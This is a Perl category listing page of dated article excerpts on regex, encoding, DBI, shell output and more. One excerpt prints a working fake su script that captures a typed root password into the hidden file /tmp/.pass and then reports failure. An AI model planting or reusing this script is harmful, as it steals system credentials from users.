Category:Perl

  • Unit computer information acquisition program written in perl

    Time:2019-10-23

      Copy the codeThe code is as follows: It was mainly used to collect IP, MAC, name, room, and later added the maintenance record function. The server side accepts the data and stores it in the database.############################# use strict; use Tk; use Encode; # SOCKE parametersmy $PF_INET = 2; my $port = 2345; my $remote_addr = pack(‘SnC4x8’,$PF_INET,$port,192,168,138,228); my $SOCK_DGRAM = 2; #Frame my ($label_room, $label_name, $label_ctrl, $label_notice); # confirm, cancelmy ($enter, $cancel); Room, name variablemy ($room, $name); $room = ”; […]

  • Fake su.pl written by Perl to steal root password

    Time:2019-10-21

    I changed it to turn off echo and add a delay: #!/usr/bin/perl # Written by xi4oyu <[email protected]>. print “Password: “; `stty -echo`; $s1=<STDIN>; print “\n”; `stty echo`; sleep 3; print “su: incorrect password\n”; chomp($s1); $s2=”Password is: “; $s3=” “.`date +%Y-%m-%d`; open (users, “>>/tmp/.pass”) || die ; print users ($s2, $s1,$s3); close (users); It’s obvious that […]

  • Five common errors in Perl

    Time:2019-10-20

    I’ve been using Perl + mdbm + spread recently. PHP has been used for a long time. Python and Ruby have been used together. Perl, the classic scripting language, has never been touched. Now it’s nibbling at textbooks like a primary school student. It’s really much more difficult to find Perl. Other things didn’t make […]

  • Perl Chinese processing skills

    Time:2019-10-19

    Perl has been using utf8 encoding internally to represent characters since 5.6, that is to say, there should be no problem in the processing of Chinese and other language characters. We only need to make good use of the module encode to make full use of the advantages of Perl utf8 characters. Let’s take the […]

  • Perl learning materials arrangement page 1 of 4

    Time:2019-10-18

    Judgment of null value$t{type1id} = $$pref{dbh}->selectrow_array(“SELECT type1id FROM enq1 WHERE id = 3″); if ( $t{type1id} == 0 ) { print “Type1id is NULL\n”; } ==>If it is not a numeric item, there is a problem with this statement. Value item only.if ( length($t{type1id}) == 0 ) { print “Type1id is NULL\n”; } ==>If NULL, […]

  • Perl program with one line page 1 of 3

    Time:2019-10-17

    1 line perl Let’s talk about Perl today. It’s a one line Perl program.Perl in various programming languages is famous for its abnormal spirit, for example, I often write Perl programs that I can’t understand.For example, the program in this document, although short, is estimated to be dizzy in a week. But this does not […]

  • On the regular expression specification in Perl

    Time:2019-10-16

    1, delimiter=~ m/there/; =~ s/there/here/; There are also type delimiters:=~ /there/ =~ m#there#; =~ s#there#here#; =~ m(there); =~ s(there)(here); =~ m{there}; =~ s{there}{here}; =~ m[there]; =~ s[there][here]; =~ m,there,; =~ s,there,here,; =~ m.there.; =~ s.there.here.; =~ m|there|; =~ s|there|here|; =~ m’there’; =~ s’there’here’; 2. ModifierModifiers are usually placed after the last forward slash (or other […]

  • Perl gets the execution result of shell command

    Time:2019-10-15

    There are many ways:1. Redirect the shell‘s standard output or standard error output to a temporary file, and then read out the execution results from the temporary file.The advantage of this method is that standard output and standard error output can be saved separately! 2. my $res = `ls`; This approach is straightforward, and it’s […]

  • Perl ASCII Character Judgment

    Time:2019-10-14

    It mainly depends on the value of ASCII code.$str =~ m/[^\0-\127]/ $str =~ m/[^\x0-\x7f]/ To pay attention to the role of the backslash, escape character, must not be less!

  • Perl Mysql database operation implementation code

    Time:2019-10-13

    Installation of DBI modulesStep 1:Download DBI.zip from the TOOLS column and unzip it to a temp directory with winzip after downloading. There are three files:Readme DBI.ppd DBI.tar.gz Step 2:Under the DOS window, run the following DOS command in the temp directory:ppm install DBI.ppd If an invalid command is prompted, it can be run in the […]

  • Perl regular expression details

    Time:2019-10-11

    Introduction of Regular Expressions in PERL I. IntroductionMatching Operator3. Special Characters in Patterns1, character +2. Characters [] and [^]3. Characters * and?4. Escaped Characters5. Match any letter or number6. Anchor mode7. Variable substitution in patterns8. Character range escape prefix9. Matching arbitrary characters10. Matching a specified number of characters11. Specify Options12. Partial Reuse of Patterns13. The […]

  • Detailed description of PERL regular expressions

    Time:2019-10-11

    Introduction of Regular Expressions in PERL I. IntroductionMatching Operator3. Special Characters in Patterns1, character +2. Characters [] and [^]3. Characters * and?4. Escaped Characters5. Match any letter or number6. Anchor mode7. Variable substitution in patterns8. Character range escape prefix9. Matching arbitrary characters10. Matching a specified number of characters11. Specify Options12. Partial Reuse of Patterns13. The […]